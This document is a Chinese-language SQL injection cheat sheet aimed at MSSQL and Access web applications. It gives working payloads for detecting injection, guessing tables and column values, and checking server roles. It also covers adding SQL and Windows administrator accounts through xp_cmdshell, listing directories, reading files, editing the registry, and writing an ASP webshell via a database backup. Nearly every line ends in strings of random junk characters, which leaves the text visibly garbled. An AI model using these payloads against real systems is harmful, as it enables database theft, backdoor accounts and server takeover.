1.判断是否有注入;and 1=1 ;and 1=2 re:=fC:t5A
2.初步判断是否是mssql ;and user>0 2+50ezsId
Enyx+]9
3.注入参数是字符'and [查询条件] and ''=' R!5j1hMN`
N"Q-xK
4.搜索时没过滤参数的'and [查询条件] and '%25'=' u.43b8!
26?yEd6^Z
5.判断数据库系统 "{Lp'+wNw
4@-
'p
;and (select count(*) from sysobjects)>0 mssql [BWA$5D)Ny
edD1 9A
;and (select count(*) from msysobjects)>0 access O8qA2@,
{HHc}8
f5'Cq)Vw_
8tJB/Pw`S
6.猜数据库 ;and (select Count(*) from [数据库名])>0 HJ~0_n&
yL{X}:;}
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 [,JUC<
ZjLu qo
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 (=
#EJB1(
hj[&.w
9.(1)猜字段的ascii值(access) 5FKb7
,ELbm
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 iEjUo,
Y[
O1[`2kj^HB
(2)猜字段的ascii值(mssql) ROb2g|YXG
G*` Y~SJp
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 v"-@'qN'
@M=xdZNyJ
10.测试权限结构(mssql) l1 Nr5PT
!X5n'1&
J%r$jpd'
Qx<86aKkF
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- =zBc@VTp
!Z(3dtUy
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- @,kR<1
oQ
YmywY
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- nz+k ,
/fh[_!qN
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- d K.k,7R
P~xP@?I%
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3Q;XvrGA
;fiH=_{us
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- #ATV#/hW
Xlg0u.
;and 1=(select IS_MEMBER('db_owner'));-- |
6/ # H*
[cfKvROG
,;%F\<b
Z2@_F7cXt
11.添加mssql和系统的帐户 #" &<^
&-R(u}m-F
;exec master.dbo.sp_addlogin username;-- RZ+SOZs7H
;exec master.dbo.sp_password null,username,password;-- ?R#?=<VkG
P80mK-Iyv_
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- `%@|sK2
qE:/~Q0
;exec master.dbo.xp_cmdshell 'net user username password @vHj>N
HdR%n
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- `bAOhaB,/
`PH]_]:%
;exec master.dbo.xp_cmdshell 'net user username password /add';-- vXI2u;=y
u*w'.5l
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ~Y)h[
OK8|w]-A
Z4VNm1qs
VV'*3/I
12.(1)遍历目录 8slOB>2#Y
J>w3>8!>7
;create table dirs(paths varchar(100), id int) JbR;E`8
P,RdYM06
;insert dirs exec master.dbo.xp_dirtree 'c:\' P&$ m2^K
Ul{{g$
;and (select top 1 paths from dirs)>0 **KkPjAO?
7%`
\E9t
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ca6kqh"
Z23*`yR
%D_pTD\
MGbl-,]
(2)遍历目录 5`tMHgQO
%G43g#pD
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- .5AyB9a%&
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 d(t$riFX}
;}W-9=81
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 n`TXmg
<$+Cd=71\
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 7SVqfWp
QA"mWw-Ds
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Ex`!C]sQ
&i{>Li
#)7THx/=
"54t7
13.mssql中的存储过程 0Z,a3)jcc
:*<UCn""
xp_regenumvalues 注册表根键, 子键 jM07&o]D
_&U.DMt2 C
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 &aLelJ~
9\J6G8b>|I
xp_regread 根键,子键,键值名 0; PV gO;9
[+8in\T i
;exec xp_regread W? SFtz
!ma%Zk
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Lbwc2Q,.-
}#D+}Mo!,
xp_regwrite 根键,子键, 值名, 值类型, 值 6a MG!_jC
nMT"Rp
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 !M*$pQi}
m2esVvP
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 UZD Xv=r|
XUK!1}
xp_regdeletevalue 根键,子键,值名 -#agWqUM|T
z7$,m#tw
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ):5M +
JIH6!
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ?y`we6~\1
m6 V L
[!'fE#"a
;GF+0~5>
14.mssql的backup创建webshell P;7
Y9}
aFf(m-
use model +5xVgIk#
g*-%.fNA
create table cmd(str image); *^=zQ~
M4rK
insert into cmd(str) values (''); ?#]wxH,
+>Xe_
backup database model to disk='c:\l.asp'; L[rxs[7~
A.wuB
,B8u?{O
%}/ |/=
15.mssql内置函数 2T&n6t$p
o4F?Rx,L
;and (select @@version)>0 获得Windows的版本号 6(=>!+xpRr
&cuDGo.
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1n-+IR"
qC:QY6g$N
;and (select user_name())>0 爆当前系统的连接用户 SpJIEw
HpGI\s
;and (select db_name())>0 得到当前连接的数据库 efUa[XO
L<H zPg
<yg!D21Y
3z~d7J
16.简洁的webshell T6^H%;G
K|V<e[X[V
use model ic=tVs
`c.P`@KA
create table cmd(str image); mi'3ibCG
5!jU i9
insert into cmd(str) values (''); /+JHnedK
W\1V`\gF
backup database model to disk='g:\wwwtest\l.asp';